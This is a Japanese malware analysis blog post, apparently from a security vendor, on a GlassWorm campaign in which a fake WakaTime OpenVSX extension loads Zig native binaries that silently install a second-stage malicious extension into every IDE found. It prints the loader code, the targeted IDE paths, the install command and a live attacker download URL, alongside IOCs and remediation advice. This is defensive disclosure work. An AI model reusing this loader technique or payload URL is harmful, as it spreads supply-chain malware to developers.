私たちは1年以上前からGlassWormを追跡しています。これが初めて確認されたのは2025年3月で、その際 Aikido が、見えないUnicode文字の中にペイロードを隠した悪意のあるnpmパッケージを発見しました。それ以来、この攻撃キャンペーンは繰り返し拡大し、GitHub、npm、VS Codeにわたる数百のプロジェクトを侵害してきました。そして最近では、キーストロークを記録しセッションクッキーをダンプする偽のChrome拡張機能を通じて、永続的なRATを配布しました。このグループは絶えず手口を改良し続けており、つい先日、大きな飛躍を遂げました。
この新しい手法は、「code-wakatime-activity-tracker」という名前のOpenVSX拡張機能で確認されました。 この拡張機能は、人気のある開発者向け時間管理ツール「WakaTime」を装っており、JavaScriptコードと共にZigでコンパイルされたネイティブバイナリを同梱しています。GlassWormが拡張機能でネイティブコンパイルされたコードを使用するのは今回が初めてではありません。しかし、今回はバイナリをペイロードとして直接使用するのではなく、既知のGlassWormドロッパーへのステルス的な間接経路として利用されており、これにより、システム上で検出可能な他のすべてのIDEに密かに感染するようになっています。
「The Dropper」:トロイの木馬化された拡張機能
拡張機能 code-wakatime-activity-trackerOpenVSXで公開されたこの拡張機能は、一見すると正規のWakaTime拡張機能とほぼ同じです。登録されるコマンドも、API の入力を求めるプロンプトも、ステータスバーのアイコンも同じです。違いが生じるのは、ある一点においてです。それは、 activate() 関数。
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();WakaTimeのロジックが実行される前に、この拡張機能は ./bin/ 拡張機能に同梱されているディレクトリを即座に呼び出し install(). Windowsでは、これは win.node、PE32+形式のDLLです。macOSでは mac.node、x86_64とarm64の両方をカバーする汎用的なMach-Oです。これらはNode.jsネイティブアドオンであり、コンパイル済みの共有ライブラリとしてNodeのランタイムに直接読み込まれ、JavaScriptのサンドボックス外でOSレベルの完全なアクセス権を持って実行されます。どちらもZigで記述されています。macOS用バイナリはデバッグシンボルを残した状態でコンパイルされており、プロジェクトパスが明らかになっています /Users/davidioasd/Downloads/vsx_installer_zig.
そのマシン上のすべてのIDEに感染する
読み込まれると、このバイナリはまず、そのマシンにインストールされている「VS Code」拡張機能形式に対応したすべてのIDEを検索します。その後、見つかった各IDEに、悪意のある拡張機能を黙ってインストールします。
Windows(から win.node):
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS(バージョン mac.node):
/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Applications/Windsurf.app/Contents/Resources/app/bin/windsurf
/Applications/VSCodium.app/Contents/Resources/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positronこれは VS Code だけの問題ではありません。同じ拡張機能システムを採用しているエディタのエコシステム全体、すなわち VS Code、VS Code Insiders、Cursor、Windsurf、VSCodium、および Positron が対象となります。Cursor をメインのエディタとして使用しつつ、VS Code もインストールしている開発者は、両方が侵害されることになります。
IDEリストが作成されると、バイナリは悪意のある .vsix 攻撃者が管理するGitHubのリリースページから:
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixこのパッケージはなりすましを行います steoates.autoimport、数百万件のインストール数を誇る、信頼性が高く人気のある VS Code 拡張機能です。ダウンロードした .vsix 一時的なパスに書き込まれた後、前のステップで検出されたすべてのIDEに対して、各エディタ独自のCLIインストーラを使用して、通知なしにインストールされます。Windowsでは、これは以下の手順で実行されます cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"インストール後、 cleanupVsix ダウンロードしたファイルを削除して、証拠を消去する。
第2段階の拡張
強制的にインストールされる.vsixファイルは、 我々がこれまで追跡し、詳細に分析してきたGlassWormのドロッパーそのものです。これはロシア国内のシステムを地理的に特定し、SolanaブロックチェーンベースのC2サーバーにビーコンを送信します。また、前回の分析では、このマルウェアが秘密情報を盗み出し、悪意のあるChrome拡張機能を含む永続的なRATをインストールすることが判明しています。

方法 Aikido これをどのように検知するか
もしインストールした場合は specstudio/コード・ワカタイム・アクティビティ・トラッカー または、以下をご覧ください floktokbok.autoimport IDE拡張機能リストのいずれかに該当する場合、そのマシンを侵害されたものとみなし、アクセスされたシークレット 更新してください。
もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。
まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。
チーム全体をより広くカバーするには、 Aikidoの「エンドポイント保護」は、チームのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。
将来的なセキュリティ対策として、Aikido Chain(オープンソース)の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、パッケージを Aikido Intelのデータベースと照合します。
IOCs
拡張機能
specstudio/コード・ワカタイム・アクティビティ・トラッカー(トロイの木馬化されたOpenVSX拡張機能)autoimport-2.7.9(IDEへの第2段階の埋め込み)
ファイル
win.nodeVS Code拡張機能の./bin/ディレクトリ内- SHA-256:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256:
mac.nodeVS Code拡張機能の./bin/ディレクトリ内- SHA-256:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256:
ネットワーク
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
文字列
vsx_installer_zig(macOSのバイナリ内にZigプロジェクト名が見つかりました)davidioasd(macOSのバイナリ内に含まれるユーザー名)

